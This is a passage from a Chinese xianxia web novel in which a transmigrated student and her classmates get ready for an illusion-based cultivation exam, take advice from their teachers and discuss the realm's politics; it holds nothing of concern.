然而当一件事存在着一定的难度, 但不至于那么难以攻克时,与之搏斗的过程就会变得辛酸。每当因为解决了某个细枝末节而感到洋洋自得时,剩下的更为复杂的东西就会接踵而至,让人不得不再度投身于焦头烂额之中,时间也就像开了倍速一样飞速地流逝了。 关云铮叹了一口气,一想到还有两天就要进行初次幻境考察, 就焦虑得想大喊大叫。 但现实生活不是电视剧,没有那么多可供主角们通过大喊来释放压力的秘密基地。归墟倒是有些人迹罕至的隐秘角落, 但要么是灵犀所在的后山,要么是后山中的剑冢, 去后山大喊一定能被人(或蛇)听见, 去剑冢大喊……她压根不敢在剑冢大喊。 那里面的可都是先辈们的遗物,说话稍微大点声她都觉得太不尊敬了,就算有胆子放声大喊估计也会被随行的摇羽大骂一顿。 ——说到摇羽。 今日起便是进入初次幻境考察前的最后一个“三日课程循环”, 此刻她刚上完下午的武器课回来, 出了一身的汗又累又渴,但吃不下一口饭,和另外三人一同趴在院子里的石桌上缓神。 好吧压根缓不过来。 四人死鱼似的趴了一会儿,此起彼伏地叹了一圈的气。 关云铮依旧趴着,率先发问道:“今日先生是如何同你们说的?” 经过十来天的相处, 关云铮发现谭一筠来到归墟之初就和叶泯一样,有些端着,是以不曾暴露本性。 如今已经彻底释放天性变成话痨了。 导致关云铮一度认为那法器的名字是谭一筠的师父起的,寓意是让谭一筠少说话。 扯远了,总之子不语的持有者,读作谭一筠写作话痨的这位,闻言答道:“蒲先生说我虽执扇而非剑,但仍需留有杀意,我却太过优柔寡断,她说可以选择怜悯,但不能没有斩断敌意的底气。” 另一位也非执剑的叶泯接着垂头丧气地说道:“蒲先生说我出招缺乏信心,畏首畏尾,若是遇到绝不手下留情的敌人,很容易就会被攻破,变成他人刀下亡魂。” 关云铮趴不下去了,坐起身搓了搓自己胳膊上的鸡皮疙瘩:“护山大阵坏了吗,我怎么感到一阵刺骨的凉意。” 楚悯也坐直身,同样叹了口气:“苏修士说我思虑过重,总是走一步要想着未来的十步,音律受到的扰动太多,不足以在幻境考察前破妄。” 作为话题发起者的关云铮生无可恋地接上话茬:“蒲先生说我拔剑不够果决,总是慢了些许,若是敌方怀揣一击必杀的心思,我慢的那一瞬就足够让我死上好几个来回了。” 剩下两人也从臂弯里把脑袋拔出来,四人面面相觑片刻,再度齐声叹了一口气。 “这样真能度过幻境考察吗?”关云铮喃喃。 “能。”任嵩华不知何时从游廊走来,在四人一同看过来时说,“一定能。” **** 这十来天任嵩华没下过来去峰,谭一筠和叶泯没见过她,关云铮站起身时没忘了给二人介绍:“这是任嵩华,任师姐。” 谭一筠和叶泯规规矩矩地行了个礼。 关云铮还以为任嵩华方才说了那话,接下来就要在幻境考察一事上提点她们几句了。谁料她从方才她们没注意到的位置拎出一个茶壶,又从乾坤袋里陆续拿出几碟点心。 楚悯和关云铮对视一眼:任师姐此番怎么像是师姐变的。 没有说任师姐往日不好的意思,主要是送饭这种事跟任师姐的组合,怎么看都觉得有些违和。 四五个装着不同样式点心的碟子被端上桌后,任嵩华又从乾坤袋里捧出一摞碗,这才停下了继续往外拿东西的动作,说道:“掌门说你们四人结束今日的课后兴许胃口不佳,提早让李厨准备了点心和,”她停顿了一下,“奶茶。” 停顿片刻来寻找合适措辞的任师姐有点可爱,关云铮偷偷想。 “奶茶?”谭一筠和叶泯异口同声地疑惑道。 这十来天关云铮被三门课一同磋磨,夹在术法课和符咒课之间的几顿饭更是脑袋发木发晕,都快吃不出饭菜好不好吃了,根本没心思和精力去煮奶茶,一直一同修炼的谭一筠和叶泯也就无从见识。 关云铮此刻也懒得解释,干脆在桌边坐下,拿碗给在座每个人都倒了一碗。 “李厨还会做点心?”倒完奶茶后她忍不住问道。 虽说这确实又是她的刻板印象,但这都快两个月了,李厨也没做过一次点心,总觉得点心这一类吃食,不是他擅长的领域。 毕竟砧板都被他用菜刀扎得透光了,这手劲捏点心,得捏成一团面糊吧。 任嵩华抱臂站在一旁:“是李厨下山买的。” 刚拿起一块点心的楚悯失笑:“那真是辛苦李厨了。” 任嵩华神色平淡,看另外两人有所拘谨的模样,向关云铮说道:“你饿吗?” 关云铮刚喝下一口奶茶,急忙咽了抬起头:“不饿不饿,任师姐请说。” 任嵩华点头,率先走向一旁楚悯的院子。 待到两人走后,叶泯才松了一口气,拿了块点心吃:“这位师姐的气场好吓人,她应当是看出我和谭兄不自在,才带云铮过去的?” 楚悯“嗯”了一声:“应当是看我们苦于修炼,指点几句。”她想了想又说,“不过你们面对她这么拘谨,她今日可能不会……” 谭一筠和叶泯迅速领会了她的言外之意,叶泯连忙点头表示理解:“无妨无妨,云铮作为我们之中唯一的剑修,想必这几日心中承受的压力也是最大的,任师姐提点后若是能让她好一些就好。” “至于我们,任师姐与我们也不相熟,就不去给她添不自在了。”谭一筠也配合道。 楚悯吃了块蟹粉酥,感觉味道还不错,又拿了一块,才说道:“还有两日就该进入幻境了,但到现在也不知晓幻境里究竟是何种模样。” 谭一筠思索着:“来归墟之前,我听师父说这一年的教习也会采用此种考核模式时,便设想过幻境内部的模样。” 注意到楚悯和叶泯的目光都在看他,他忙去掉那些繁文缛节般的说辞,尽量简约道:“但师父说过,章先生在幻境一道上颇有造诣,思路也与其他修士不同,想来……实非我这样的弟子能参透的。” 叶泯虽然早就料到了这样的结果,但还是没忍住沮丧,过了好一会儿才说:“总能有个底吧?譬如我们进入幻境还是不是如今的身体?是否有如今的记忆和知识储备,又是否共处一处面对幻境,或者各自分散迎敌?” 谭一筠喝了口奶茶:“还真给你问到点子上了。”他没多卖关子,继续说,“是如今的身体,也有记忆和知识储备,但幻境只要成立,准则就会生效,也即不可看破,所以我们一进入幻境,就会忘记自己身处幻境这一事实。” 他停顿了一会儿,又说:“至于是否分散,要看章先生的安排,看他是否想考验弟子们的协作能力了。” “从先生们安排四人一组的决定来看,应当是要考验协作的?”叶泯问道。 楚悯露出一言难尽的神色:“如果只是掌门和褚先生安排此事的话,应当是。但章先生也参与了构建幻境一事,所以……” 尚且对章存舒不甚了解的叶泯不明所以,却见一边的谭一筠已经快要维持不住脸上的笑容了,顿感不安:“你们这么凝重的神色,我好恐慌……” 谭一筠像是想起了什么回忆似的,一脸肃穆地拍了拍他的肩:“构建幻境之人是章先生的话,确乎值得恐慌。” **** 被念叨的章存舒连打两个喷嚏,顿时皱起眉头:“又是谁在背后说我的是非?” “这个‘又’……”一旁的陆识微敏锐地抬起头。 连映笑眯眯地解释:“想来是临近幻境考察,归墟的弟子们在说师父的坏话吧。” 闻越点头:“应该的,支持云崽多说两句。” “哎哟。”他话音还没落地,就被章存舒敲了一下脑袋。 章存舒收回手,喝了口面汤:“我根本没下重手。” 闻越撇嘴:“也不知道云崽学得如何了,我们能在幻境考察前回去吗,我想看看云崽。” 陆识微立刻表态:“能!一定能!” 闻越被她突然拔高的声音吓了一跳:“陆大人别激动,要真是来不及也无妨,反正依归墟的打算,估计云崽还会有好几次幻境考察,这次错过了也能有下次。” 江却叹了口气:“你该庆幸云崽不在,没听见你这话。” 章存舒伸出手隔空点了点闻越,用一种浮夸的语气说:“方才还指责我,我看此子更是居心叵测。” 陆识微一愣,随即笑出声来,很快又收了声问道:“能笑吗?” 连映学她方才说话的模样答道:“能,必须能。” 柳卿知收了伞,从门外进来,见众人围坐吃面,笑问道:“还有我的份吗?” **** “幻境考察中,本性最为重要。”两人在楚悯院中坐下后,任嵩华这样说道。 “本性?”关云铮不明所以。 “幻境之中诸事运行的规律与现实不同,要凭借本性做出判断,最终才能识破幻境。”任嵩华似乎是怕她不理解,举了个例子,“若你遇见一老妪在街边乞讨,身上正好有银两与吃食,你给是不给?” “给。”关云铮毫不犹豫地回答。 不过她得承认,这并不是因为她道德格外高尚,毕竟21世纪过来的人,见到这种场景一般都会下意识有些防备,某些人可能上一秒还在街边乞讨,下一秒就把街边那辆豪车开走了。 但如今她在修仙世界,纵然不论时代如何,世上总有坏人,但她愿意相信在更早的时期,人心尚且不曾变得那样坏。 再说了,师门不曾短过她吃穿用度,就算全给了那老妪,自己也能好好活着,给就给了吧。 任嵩华听了她的回答点了点头:“记住你的选择。幻境考察就是无数个选择的叠加,要听从你本性的指引,做出正确的选择。” “万一我的本性……有时并非完全正确呢?”关云铮有些迟疑地问。 她还是性恶论的拥护者呢。 任嵩华居然顺着她的话思索了一会儿:“看来是我措辞不当,不是正确的选择,而是本能的选择。” “诶?”关云铮刚顺清楚的逻辑顿时有些立不住脚,清晰的思维瞬间又像毛线团一样纠缠了起来。 “不可陷入幻境构造出的一切,不可顺着其中事物运行的规律思考,要顺从本心,这样说,你可明白?”任嵩华看向她。 关云铮连连点头:“明白了!” 任嵩华略一颔首:“既如此,我便回来去峰了,记得告知你的同伴。” 还没等关云铮答应下来,任嵩华腰间的剑便已出鞘,载着她往来去峰去了。 这位也是个来去如风的。 关云铮摇了摇头,从楚悯的院子走回去,刚要转述任嵩华的话,就见三只手迅速把几个碟子堆到她面前。 “这是……?”她一头雾水地问。 楚悯解释道:“李厨买来的点心味道不错,这些是给你留的,你再不回来我们可就忍不住都吃了。” “我确实不太饿……”话虽这么说,但好意该谢还是得谢,关云铮在楚悯身侧坐下,“那就谢过各位了。” 叶泯捧着碗:“一口点心一口……这个奶茶,我也快饱了。” 谭一筠赞同地点点头:“这奶茶是怎么做的?香醇得很,改日向李厨讨教讨教。” 楚悯示意他看向正在喝奶茶的关云铮:“那可能得问云崽。” 关云铮喝出了一圈白胡子,抬起头来:“你想学?那幻境考察后,我教你。” **** 吃饱喝足又交流过任嵩华所说后,谭一筠和叶泯起身告辞,回到接受教习的外门弟子所住之处。 关云铮和楚悯则一同坐在秋千上晃悠着。 “你说灵犀能带进幻境吗?”关云铮突发奇想似的问道。 楚悯失笑:“你不害怕了?” 关云铮叹气,认怂道:“还是有点怕的。” 楚悯则若有所思:“就算先生们同意叶泯将灵犀带入幻境,他应当也不敢带了,毕竟上次抵达归墟时不慎让灵犀走失,他兄长叶浔还在传音符中那样说。” 这倒是,感觉叶泯是那种就算老师同意了也会说“我回家去问问我哥”的类型,很容易闯祸但意外听哥哥话的学生。 ——虽然听哥哥话的时候祸已经闯完了就是了。 “灵犀这样的动物,进入幻境会否受幻境准则的影响?”关云铮思索着。 虽说灵犀本质上是动物,但它也是可通人性的灵兽……楚悯不太确定地反问:“应当同样会受限制?只不过,动物的本性比人的更为可靠。” 换言之,更接近本能。 如果灵犀当真能记住不可陷入幻境这一嘱咐的话,那它还真是他们几人中最能凭借“本性”渡过难关的人,不是,蛇。 “不如先让叶泯问问他兄长?我们也去问问先生们,能不能带。”关云铮贼心不死地说道。 楚悯思索过后也觉得无有不可,点了点头:“反正幻境中应当只有我们,也无需担忧灵犀吓着同窗。” 如果当真能用灵犀的本性作为依据,做出选择的话,想来幻境应该能简单不少吧? “不过……我以为方才任师姐会提点我学剑之事,没想到竟说的都是有关幻境考察的事,难道任师姐也曾亲历过?”关云铮问道。 楚悯对任嵩华了解不多,许多有关之事都是来了苍生道院住下后才知道,故而想不出答案,只摇了摇头:“等章先生他们回来,或许可以问一问。” 关云铮虽然每天都忙得不可开交,但这十来日下来,每到吃饭的时间就见不到师门的人们,心里还怪想念的,忍不住嘀咕道:“也不知道师父他们打算什么时候回来。” 楚悯默默低头在手中起卦:“柳相似乎已经把叛党和贪官抓得差不多了,重建之事也有专人从朝安赶来负责,应当……快回来了。” 关云铮捕捉到她话里某个词语,不由感到一阵错愕:“叛党?怎还有叛党的事?” 楚悯收拢掌心为她解释道:“此事有关女帝,无法卜算,不过我倒是听人说过此事。”她迎着关云铮好奇的目光接着说,“女帝并非最初的皇储人选,她无论在公主还是所有皇子之中,年纪都十分尴尬,不上不下。 “既没有老成持重到可以让先帝放心交托重担,让国家长治久安;也不像更年轻的弟弟妹妹那般,初生牛犊不怕虎地去同敌人厮杀,或是通过嫁给一位位高权重的夫婿,来换取日后的荣华富贵。 “女帝是个彻头彻尾不受宠的公主。是以她忽然即位,朝堂中以及众王爷都颇有质疑,尤其是原本的皇储人选之一,三皇子,甚至屡次发动过反叛行动。还有恭亲王,女帝的三皇叔,也没少给她添麻烦。” 关云铮在这一瞬间很想脱口而出一些大不敬的言论,忍了忍还是相对委婉道:“她登基后也不曾料理这些事吗?” 楚悯学着关云铮的习惯做了个摊开双手的动作:“这就得问女帝究竟是怎么想的了,或许在积累证据准备发起致命一击,又或许是等待着他们自作孽吧。” 关云铮原本还在若有所思地边听边点头,听到这顿时警醒起来:“这是能说的吗?” 楚悯失笑:“应当无妨,天问常年负责给天家众人算命,并无这诸多顾忌,他们估计也被念叨习惯了。” “不过坐上那个位置的,哪能不被念叨。”关云铮叹了口气,“要不怎么说欲戴王冠,必承其重呢。” “这也是别处学来的?”楚悯好奇地问道。 “唔,好像是莎士比亚说的。”关云铮思索着。 楚悯更好奇了:“莎士比亚是谁?” 关云铮琢磨了一会儿:“与我不是一国人,是来自另一国家的大文豪。” “别处……有许多国家吗?”楚悯问道。 “一百多个吧,具体多少个总记不太清楚。”关云铮随着秋千晃悠着。 “这么多?那岂非十分动荡?”楚悯皱起眉头。 “国力强盛的自有维||稳之策,其他的小国便说不好了。”21世纪的炮火集中轰炸之下,又有几个国家能万全呢? 她转念又想起什么:“那这世上呢?又有几国?” 楚悯掰手指给她数了数。 关云铮皱起眉,总觉得这数字里藏着些许隐忧。 总不会此处修仙世界也如无神无仙的古代,周围有所谓的“蛮夷”虎狼环伺吧? 那可真是内忧外患了。 楚悯低头在乾坤袋里翻找了一番:“我记得临行前兄长给了我一幅地图……” 她如愿拿出了一个卷轴:“直到来归墟接受教习之前,我都不曾离开过盈川,对外界实则所知甚少,不如看地图来得通达。” 楚悯摊开卷轴,指了指地图最中心的一块区域:“这是我们所在,大苍。” 之前知道皇帝姓苍就在想这个国家会不会叫大苍,没想到还真是……穿越至今,还是会时不时冒出一些细节,让她产生这个世界其实是某人所写的错觉。 但每当她这样想,“谁是这本书的主角”这个念头就会迅速出来占据她的大脑。 如果这个世界中的所有人都是某本中的角色,那这本书的作者作者又往ta的角色身上,倾注了怎样的意识呢? 楚悯没注意到她的走神,仍在根据自己记忆中有关各国的说法,与地图逐一相吻合。 关云铮听她挨个介绍完,忍不住发出疑问:“如今几国之间可和平?” “在女帝登基之前,似乎并不和平。”楚悯重新收起卷轴,“大约是洞玄再度面世,让周边各国有了些许忌惮吧?” “洞玄再厉害,也只是卜算,没有杀伤力,别国怎会如此忌惮?”关云铮想不明白。 楚悯竟被问住了,过了好一会儿才忽然笑出声,说道:“也是在归墟待久了,竟忘了其中还有仙盟的功劳。” 仙盟?那群人还有功劳? “大苍朝廷与仙盟建立合作关系后,其余各国也纷纷效仿,修士之间传递消息要比人力快上许多,各国仙盟自建立之初便保持着联络,是以彼此忌惮。”楚悯解答道。 关云铮感到一阵荒谬:“把国与国之间的交流交给仙盟?这到底还是个‘凡民’居多的世界吧,怎么不想着人治?” 楚悯笑着叹了口气:“叔父也这样说过。” 关云铮顿时哑火了。 楚悯抬头望了眼夜空:“仙盟正在从最初的有能者担当大任,转变为世袭以及内部择选,如此一来,原本依靠仙盟才能维持住的稳定局面迟早会被打破,各国想用仙门势力威慑周边,被当做武器的仙门,最终一定会身不由己地卷入纷争之中。” “所以才说,仙门衰微是定局?”关云铮皱起眉头。 楚悯点头:“仙门作为天与人之间的门槛,天道的衰颓与人道的崩毁都会加剧它的倾覆。” “只是这倾覆……不知究竟何时而至……”关云铮喃喃道。 “是啊,不知何时而至……”楚悯一同叹道。 **** 虽不知仙门倾覆何时而至,但关云铮怀疑自己快要知道自己何时会死了:这种两眼一睁就是练剑加挨打的武器课到底是谁在享受啊?! 好吧0人享受,所有人都苦不堪言。只不过人总是觉得自己尤为命苦罢了。 蒲飞鸢收起炽翎:“不错,比昨日又快了些。” 关云铮甩了甩被震麻的右手,饶是已经累到表情都快失控,听见这话也还是不可避免地高兴起来:“真的?” 蒲飞鸢相当高冷地一点头:“当然。”她顿了顿又说,“听步雁山说,昨日他让任嵩华去指点你们了?” 关云铮点点头,想来蒲飞鸢开始说这些,今日的挨打应该已经结束了,便收起剑说道:“不过我原以为任师姐会指点我的剑技。” 蒲飞鸢失笑:“怎么,因为我连日来打压你,对自己的剑技这么没有信心?” 关云铮给自己的评价确实不高,再加上蒲飞鸢昨日说她拔剑不够快,昨晚和小悯聊完后她在房中偷偷练了好一会儿的拔剑呢。 但她嘴上只是说:“蒲先生的话算不上打压。”真正的打压式教育何止这点小打小闹,蒲先生还是太善良了——没有期待蒲先生打压式教育的意思,她没有这方面的癖||好。 蒲飞鸢拍了拍她的肩膀:“知道你看重这次考核,但也不必绷得太紧了,琴弦绷得太紧尚且要断呢,人肉体凡胎,有些地方的韧性还不如琴弦。” 关云铮幽幽接话:“虽然知道先生您的意思,但您这样说我总忍不住设想自己断手断腿的样子……” 蒲飞鸢被她吓了一跳:“说什么呢,童言无忌。” 关云铮失笑:“我都这个岁数了还童言无忌?” 蒲飞鸢诧异道:“你什么岁数了,你也就我一半岁数。” 对哦,差点又忘了她现在是十五岁左右了……大学那会儿身体不好,动辄说自己一把年纪,其实也没多大,才二十出头能算得上什么“一把年纪”呢。 “仙门中传授剑道,总讲究什么剑心剑意,让弟子们明白自己是为何而拔剑。”蒲飞鸢忽然说,“我只是个江湖散修,对这一套说辞实在是敬谢不敏,拔剑为何非要有个听上去很高大的理由呢?” 名门正派是这样的,先生。关云铮悄悄在心里蛐蛐。 蒲飞鸢“唰”一下拔出炽翎:“我拔剑,就只是因为我想拔剑,我需要拔剑,剑就只是剑,不必在修炼的过程中给它加上太多意义,那太拘泥了,也很空。” 关·极端讨厌大道理人士·云铮深以为然地点了点头。 “哪怕你只想凭借剑技度过这一次的幻境考察,那也没什么可耻的,世上惊才绝艳的人凤毛麟角,总得允许人做个寻常修士吧。”蒲飞鸢继续说。 这才是我们小弟子该喝的鸡汤啊! 关云铮简直要热泪盈眶,过了好一会儿才说:“先生这些话为何不对着同窗们也说一说?” 蒲飞鸢竟然对她笑了笑:“因为……” 关云铮不明所以地看她:“因为什……” 她话还来不及说完,已看到蒲飞鸢毫无预兆劈来的剑光,顿时想也不想地拔出摇羽就是一挡。 两把剑撞在一起,率先发动攻击的蒲飞鸢再度对关云铮笑了笑:“因为我要出剑了,那些话出自真心不假,但被我用来分散你的注意也是真的。” 关云铮面色几多变换,最终还是艰难地忍下了自己即将脱口而出的脏话。 师父虽身不在归墟,但他的缺德始终与她同在—— 作者有话说:截至6.2上午九点,新增营养液142评论21,也即加更字数3890 所以这一章是正常更新+加更的量,祝大家儿童节快乐[亲亲] 第98章 幻境考察临近前的所有课程, 都像是关云铮那一眼看得到头的大学生活,永远在“学不会→考不出→更不想学”的恶性循环里。上午在武器课上挨完蒲飞鸢的打后,下午则需在步雁山的课上继续同结界和幻境的缔造术法搏斗。 但新课程也有好处, 比如在安排改动最初, 她还会因为武器课上练了太久的剑而胳膊酸软,现在强度上来了, 手臂肌肉也逐渐适应了这样的训练强度, 当下顶多因为多接了几招,手掌有些发麻。 这感觉时断时续,让她总不能专心练习术法,练着练着就忽然想起一个总被她忘在脑后的问题:“师父不是幻境的主要建立者吗,若是赶不回来该怎么办?” 这话倒没有质疑步雁山造不好幻境的意思,单纯是她认为用这样的形式考核弟子们的修炼水平, 就势必会在其中埋上许多坑,被考核的弟子们一定会像那天来到归墟, 被迫爬了几百级台阶的严骛一样,被幻境耍得团团转。 同时她也坚定地认为, 只有师父打造出来的幻境才足够坑。 多数时候都保持善良的掌门应当干不出这事, 没那么坑……吧? 不知道是不是感受到了她埋在心里的念叨,步雁山从学堂另一头走过来,看她心不在焉, 弯腰问道:“学成了?” 关云铮自从穿越, 被师门这群人有意或无意地吓了没有一百回也有五十回,如今已身经百战,一边面不改色地继续进行着手上的动作,一边答道:“尚未完全学成。” “是哪一步出了问题?”步雁山若有所思,“心中默念?” 关云铮正好再次到了这一步, 闻言干脆放下手,抬起头承认:“是这步。” 步雁山笑了笑:“倒是在我意料之内。” 一旁的楚悯再度搭建成了一个小型结界,放下双手看过来。 原本在低声交谈的两人被她的动作吸引了注意,先后朝她投去目光。 步雁山挑眉,颇感兴趣的模样:“让我看看这个在哪。” 他说完便不再参与余下的对话,专心致志地在楚悯周围寻找起来。 一直没建成过结界的关云铮倒不太沮丧。 她觉得自己是卡在“言灵”这一步,而非前面的术法步骤。然而言灵融入术法后结界是否搭成,才是判断出一整套流程是否成功的关键,前面的过程不是完全正确就是不知错处的失误,具体是哪里错了,光从这套流程中是无法推导得出的。 但整套流程左不过就那么两大步:要么是术法有问题,言灵无法融入;要么是她发动不了言灵。 她自忖术法学得还可以——毕竟对比起来,符咒课才是真正的一塌糊涂,故而更倾向于后者:她发动不了言灵。 关云铮发觉自己学画符咒的过程,就像是对着组织切片的图片画实验报告,脑子很清楚自己要画个什么东西,画完也觉得自己画的就是那个东西,但仔细一看只是一堆没有意义的线条和色块,说它是任何部位的任何组织都行。 她有端怀疑自己就是因为不会画切片才不会认,实验考试总是考得格外坎坷。 不算两个时空之间的时间流速差距,距离最后一门专业课的考试都快过了两个月了,提起医学专业知识她还是这么容易义愤填膺。 总之她现在是仙门弟子了,让蓝色生死恋们见鬼去吧。 通过对于这几天失败经历的总结,她觉得自己无法借助言灵将结界的具体信息融入缔造术法之中,或许是因为她不够坚定。 可能是对于修仙世界认知的不坚定,可能是对于自己能够建成结界这一想法的不坚定……不管是因为其中哪一点,都很符合她骨子里摇摆不定和不自信的毛病。 故而她觉得自己无法发动言灵一事,倒也不在意料之外。 小悯在这一方面就和她截然不同。 她无比清楚地明白自己想要什么,想实现什么,并且会把这样清晰明确的念头贯彻在生活和修炼中的每一件事上。 关云铮与有荣焉地在心里感慨着,叹了一口气。 楚悯闻声凑过来:“怎么了?”她以为关云铮在为仍未取得进展而沮丧,安慰道,“这才几次课,建不成也没什么。” 关云铮笑着摇了摇头:“你学会了不正好便宜我了,我这次就先偷个懒。” 楚悯愣了一下,随即也同她一样笑起来:“好,那就先不学。” **** 关云铮一直以为面对越发迫近的幻境考察,心慌的人只有她自己。 毕竟她是四人中唯一一个在此之前几乎没有修仙基础的人,修仙这将近两个月以来几乎一直是被赶鸭子上架。 也就是体内应对应试教育的DNA发力了,再加上修仙世界还没有电子产品,不然以她大学时期的懒惰程度,恐怕很难坚持到现在。 总之她一直默认只有自己的心态全方位崩盘了,结果术法课下课,走在前面的叶泯因为边走边念叨着什么,差点被两寸高的门槛绊了一跤,人都快要飞出去了,手上还在比划着缔造结界的术法。 关云铮这才意识到原来这位也跟自己一样心慌。 谭一筠被他这游魂般的模样吓了一跳,一把将人托住后还不忘询问:“你的魂魄还在体内吗?” 叶泯回过神来才意识到自己险些摔了个五体投地,忙站直了答道:“在,在,只是若还学不会这缔造结界之法,就该不在了。” 关云铮闻言若有所思:“那后日进幻境的就是两个人和两具躯体,因为我也还没学会,到时魂魄也得离体。” 一时间余下三人都幽幽地看向她。 关云铮疑惑:“不好笑吗?” 谭一筠勉强挤出个笑:“云铮,你这话像是某种恶诅,听着不大吉利。” 关云铮从善如流地点点头:“那当我没说,务必四个人一起进,四个人一起出,完整地。” 楚悯犹豫着接话:“完整这个词……” 叶泯无端打了个哆嗦:“幻境里应当没有痛觉才对?云铮说得好像我们会断完胳膊腿再出来。” 关云铮生出一种被过度解读的苦恼,但一时又无法反驳他们说的话,不得不给自己的嘴巴做了个拉上拉链的动作:“我闭嘴。” 楚悯失笑:“走吧,肚子饿了,回去吃饭。” 叶泯站直身子和谭一筠勾肩搭背:“走吧谭兄,去苍生道蹭饭!” **** 还有一天才进幻境,关云铮以为自己今晚至少可以拥有一顿无忧无虑的晚饭。 谁料吃到一半,步雁山带着任嵩华来了,并且一来就丢下了一个重磅炸||弹。 幻境考察一月一次,除开岁末年初的两个月不用考,仙门大比所在的最后一个月不用考之外,其余每个月都要考!总共要考五次! 这是什么?这是高中月考制度吗?这是人能想出来的修仙考核吗? 关云铮握着筷子,感觉自己的灵魂比方才叶泯还要彻底地离开了她的躯壳。 上大学要是有哪门课有期中考,都能彻底摧毁她这个不爱考试的小女孩,月考又是什么在清朝就该灭亡的邪恶东西…… 大概是她周身散发出的气息太过可怖,原本要夹菜的叶泯被她吓了一跳,小心翼翼道:“云铮?” 关云铮听见自己上下两排磨牙发出了“咯吱咯吱”的相互摩擦声。 她咬牙切齿地给自己夹了一筷子菜,决定收回白天对于掌门善良的评价。哪怕这个万恶的月考制度不完全由他提出,但在吃饭这样的大好时光告诉她这件事实在是太可恶了!她要把掌门面前的菜夹光! 步雁山看她气势汹汹地连夹几筷子菜,不由失笑:“早晚得知道的,早些告诉你岂不能早些做准备?” 那可太能做准备了,她连到时候无法通过幻境考察,拖累三位队友在全体教习弟子中排倒数这样的阴暗未来都想到位了。 修仙果然是逆天改命,能不能改命先不论,这个考核是真的逆天。 她一愤怒起来,脑内的弹幕就飙个没完,直到想起上午向小悯问起的问题,才勉强止住怒火,看向步雁山问道:“师父明日能回来吗?考核的幻境可是由他所建?” 步雁山竟也给不了确切的答案,摇摇头后说道:“师兄这几日不曾来过信,也不知道明日究竟能不能来。” 要不是不知道江县的传信点,她真想一封信烧过去问一问,或者干脆效仿叶泯他哥做一张如同吼叫信般的传音符,到章存舒面前大喊大叫。 “若是章先生回不来,幻境是否就交由掌门负责了?”楚悯问道。 步雁山点了点头:“自然。”他环视一圈四人因他话而期待起来的神色,又笑着说,“别想我给你们泄题,提早告诉你们幻境考察的次数已是泄露了。” 这泄露爱给谁享受就给谁吧,就问到底谁听了这消息会开心? 步雁山又像是读懂关云铮内心似的答道:“先前便有弟子问过我考核次数的问题,想必对于这样的考核形式很是期待。” 关云铮“啪”地放下筷子,感觉自己快要气饱了。 她当然清楚没有跟步雁山吵架生气的必要,但她一听见这样的考核制度就颇觉上火,任由火苗在胸口熊熊燃烧了一会儿后,她才想起一个关键的问题:“这时间间隔和考核次数,是谁定的?” 步雁山露出一个“你终于想到这一茬了”的表情,笑道:“仙盟。”—— 作者有话说:剧情线究竟是怎么越来越多分叉的。 第99章 关云铮一时失语, 忍不住低声骂了一句:“仙盟果真是一群二百五。” 一旁的叶泯听见了,迟疑着“嗯?”了一声。 关云铮还在无语,但没忘了侧过头跟他解释:“骂人的话, 最好别学。” 叶泯似懂非懂地应了声, 默默思考着方才她说的究竟是哪三个字,为什么听上去十分简洁, 攻击性又极强的样子。 而方才主动抛出“仙盟”这一答案的步雁山继续说道:“仙盟早有设立定期考核之意, 至于幻境这样的考核形式——确实是我和你师父定下的,毕竟幻境中没有痛觉,可以保证你们的安全。” 外界满足考场性质的地方多如牛毛,可既然能拿来考核,就必然存在着危险,如今教习的弟子又增多了一批, 总不能拿这一群弟子的性命开玩笑,还是以幻境这种形式考核为好。 而且幻境本质是种意识形态空间, 意味着实际所占空间并不如里面展现出的大,在归墟这样的地方或许放几十个也不成影响。 关云铮惯会双标, 让她困扰的分明一直是幻境考察, 考察的时间和间隔只不过是火上浇的那瓢油,但听了步雁山的解释,还是迅速把自己调理好了。 不管了, 总之都是仙盟的错。 “其他同窗知道此事吗?”楚悯抬头问道。 步雁山颔首:“蒲先生在弟子们的寝舍那边, 会负责告知。” 关云铮坐在一边,心里嘀咕着:这么不人道的安排,应该不会只有她在介怀吧?好想知道其他人得知此事之后的心情如何…… “说起来,虽然一直清楚前来接受教习的同窗们住在寝舍那边,可我每回逛归墟都没见过他们, 也没看到某处有能容纳这许多人的院子。”她忽然想起此事,抬起头向步雁山问道。 虽说也有她每回逛不了多久就会被各种事打断的原因,但两个月下来,除了上课,偶遇同窗的次数寥寥无几,只有那日复学前,在瀑布边见过欠打哥一回。 此人也很没必要偶遇就是了。 “归墟确无容纳这些弟子的院子。”步雁山坦言,“是以弟子们其实住在芥子之中。” “芥子须弥,微尘三千*?”关云铮随口问道。 步雁山原本正打算解释,听她这话失笑:“云崽又知道。” 关云铮早就过了喜欢听老师表扬的中学生阶段,那时候她还会对夸奖展现出一种忸怩的状态,明明心里喜欢,脸上嘴上总忍不住犯矫情。 而三年半的医学生涯把她的心境磋磨成另一种极端,优绩主义在大学校园里大行其道,她听见这类与“主业”无关的夸奖,总想下意识地否认。知道这些有什么用,绩点又不会因此变高,知道的多怎么比得上成绩好。 但曾经的下意识被如今的转念一想击败,她总要花上几秒钟的时间才能想起此时并非21世纪,她也并不在那个成绩不好就几乎没有发言权的医学院,没什么是不能说的,没什么夸奖是不能大方接受的。 因此她笑了一声,坦然道:“但我对此一知半解,不过觉得这句话意境深远,值得铭记而已。” 曾经还读过一篇叫什么“须弥纳芥子,芥子纳须弥”的满分作文,当时的感受主打一个不明觉厉。 “归墟所有的弟子加起来也没有此次教习的弟子们人数繁多,故而在大家到来之前,诸位先生便一同搭建了这诸多芥子,供弟子们入住。”步雁山似乎丝毫没有此言会加重归墟在外“破落户”传言的自觉,说完后过了一会儿才接着说道,“云崽不曾去看过?” 关云铮老实摇了摇头。 步雁山便问道:“不如今日去看看?” 关云铮连忙把脑袋摇得像拨浪鼓:“不了不了,不想遇见碍眼的人。” 一直在一旁沉默着听众人说话的任嵩华忽然开口道:“谁碍眼?” 她自打来了没说过话,倒是也不曾向外释放凉气,故而众人都习惯了她这个沉默的存在,突然出声加上这无甚感情的语气,关云铮差点要以为她要是说了答案,下一秒任嵩华就要提着剑去解决了碍眼的人。 叶泯也被吓了一跳,直接被汤呛了口,强忍着没咳,把自己胸口拍得砰砰作响。 任嵩华虽是无情道,但从来十分读得懂氛围,故而在片刻寂静后又补了一句:“有人存心挑衅?” 关云铮正琢磨该如何措辞,一旁对此事十分清楚的步雁山接过话茬:“应当是那个叫赵乾达的天问弟子?筑基中期。” 任嵩华自然不知道此人是谁,只冷淡地点了点头,表示自己知晓了,随后说道:“如遇存心挑衅,打回去就是。” 关云铮差点被米饭噎着。 